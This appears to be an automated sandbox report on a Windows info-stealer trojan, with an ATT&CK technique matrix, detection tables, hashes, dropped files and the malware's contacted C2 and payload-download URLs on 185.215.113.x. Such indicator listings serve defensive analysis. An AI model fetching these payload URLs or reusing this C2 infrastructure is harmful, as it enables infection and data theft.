Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	223 System Information Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	861 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	2 Process Injection	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	461 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	461 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
2jx1O1t486.exe	45%	ReversingLabs	Win32.Trojan.Symmi
2jx1O1t486.exe	100%	Avira	TR/Crypt.XPACK.Gen
2jx1O1t486.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.phpp4vp4v1vx	100%	Avira URL Cloud	malware
https://observerfry.lat/ra	0%	Avira URL Cloud	safe
https://observerfry.lat/t	0%	Avira URL Cloud	safe
https://observerfry.lat/p	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
observerfry.lat	104.21.36.201	true	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
slipperyloo.lat	false	high
curverpluch.lat	false	high
tentabatte.lat	false	high
manyrestro.lat	false	high
bashfulacid.lat	false	high
185.215.113.206/c4becf79229cb002.php	false	high
observerfry.lat	false	high
wordyfindy.lat	false	high
https://observerfry.lat/api	false	high
shapestickyr.lat	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
talkynicer.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpp4vp4v1vx	NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/t	2jx1O1t486.exe, 00000000.00000003.1734741321.0000000001395000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat/p	2jx1O1t486.exe, 00000000.00000003.1610077415.0000000001398000.00000004.00000020.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1607918590.0000000001395000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exeW	2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/Q	2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	2jx1O1t486.exe, 00000000.00000003.1550620756.0000000005CD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/ra	2jx1O1t486.exe, 00000000.00000003.1610077415.0000000001398000.00000004.00000020.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1607918590.0000000001395000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe	2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/	2jx1O1t486.exe, 00000000.00000003.1651197289.0000000001395000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	2jx1O1t486.exe, 00000000.00000003.1550620756.0000000005CD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php7	NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe=	2jx1O1t486.exe, 00000000.00000003.1734853262.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe0	2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpO	NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206	NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.000000000076E000.00000004.00000020.00020000.00000000.sdmp, NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpS	NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.36.201	observerfry.lat	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579977
Start date and time:	2024-12-23 17:27:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2jx1O1t486.exe renamed because original name is a hash value
Original Sample Name:	68c487cdbb51d484893ab31eb1cc4d10.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, PID 5400 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 2jx1O1t486.exe

Simulations

Behavior and APIs

Time	Type	Description
11:28:16	API Interceptor	41x Sleep call for process: 2jx1O1t486.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	BVGvbpplT8.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
185.215.113.16	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	BVGvbpplT8.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
observerfry.lat	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	t8cdzT49Yr.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.206
	BVGvbpplT8.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
CLOUDFLARENETUS	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	104.21.63.229
	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	ChoForgot.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	t8cdzT49Yr.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	SalmonSamurai.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SalmonSamurai.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	MT Eagle Asia 11.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Payout Receipts.pptx	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	http://tax-com.com	Get hash	malicious	Unknown	Browse	172.67.203.198
WHOLESALECONNECTIONSNL	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.206
	BVGvbpplT8.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	104.21.36.201
	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	t8cdzT49Yr.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	file.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	acronis recovery expert deluxe 1.0.0.132.rarl.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	FBmz85HS0d.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	BJQizQ6sqT.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	2ZsJ2iP8Q2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	LopCYSStr3.exe	Get hash	malicious	LummaC	Browse	104.21.36.201

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\G1YXJMVDF5OIAHQBL77U48.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Download File

Process:	C:\Users\user\Desktop\2jx1O1t486.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2795520
Entropy (8bit):	6.510184867525068
Encrypted:	false
SSDEEP:	24576:cKxeNn+/z8IhGTGNHAGSk8j9aOkUTLj0RYeDHpak80g3HmifY1E+UQRO06G972QZ:n2+7wo9WGHpakiVqN7B0rtT0q
MD5:	631FDAD3FF8BC1E42A72D22EB14037E9
SHA1:	D05E67B27D22307D5B6729B0543F07531FB56A8A
SHA-256:	28567AB860AAF5DCD77F0DF37A0FAC291F41B3819B3B4C494F8947A7CA9CA449
SHA-512:	90E2715DBB06DE0BDEA6A4A6869B33F37A67AA9D353F6453F406E06807A3F906C408F16C3B167ABDD5939DF90D20685821B1416608F67E9774C4D7C47E823C3B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +......L+...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...tjukwpbk. .........h..............@...rvbdmwlv. ........................@....taggant.@......"....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe

Download File

Process:	C:\Users\user\Desktop\2jx1O1t486.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2790912
Entropy (8bit):	6.475864259218794
Encrypted:	false
SSDEEP:	49152:msNp8AhrS9CpSqE2Enx+Xys80MSIDrscC+HZO:msNp8AhrCCgqEjoXh8eID4cC+H
MD5:	54CC74B54E416B5B99BA11FE90829DE2
SHA1:	CEDD0CFC1CD847BEBC319798C951BA78CA3152F3
SHA-256:	C273D6ED364DF0CE719F57976C03DA75B86F25D0FDF2ED974BBF05BA059D1259
SHA-512:	36A4E2B0A632BEE54276231EC74670D2C2C1DBFE0FA10680238DB7373AAF9DE2FE6739B90D2DB4E22A59F3655E2448A00CF2A3968A017133827926A592333DA3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: fkawMJ7FH8.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........M...........@...........................N...../R+...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...tumlwnkw..)...$...(..\|..............@...twdpfarl......M......p.............@....taggant.0....M.."...t.............@...........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949231081321022
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2jx1O1t486.exe
File size:	1'885'184 bytes
MD5:	68c487cdbb51d484893ab31eb1cc4d10
SHA1:	1ba59668999f2dd069ddfbe7aa985090622076b5
SHA256:	842e79e79dedc18825b40ad364bddaacd627ff752456654dcc4504a18da89932
SHA512:	24992957960c6883fa077afb48263b3a22d9e2c835623c7477a117c149d6156b7df7e345170283a41750f1b9e3dfc4ced925c3c35f60f861be6802a95b6631cc
SSDEEP:	24576:F+xnu4wuNQwS+fiIGMtz7MwEcidwB9tugfKeiHAB7pDXgZY4VVNeqaZ+MIihWtIg:F+44vnS+fiM6w1aeigEZdjqMmalz/
TLSH:	0C9533279D9CDF7EE08C21F55AF118C9193252B81DFE7349A23A101969FCB1EEE0198D
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................J...........@...........................J.....I.....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a9000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F850C64DF8Ah
cpuid
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F850C64FF85h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
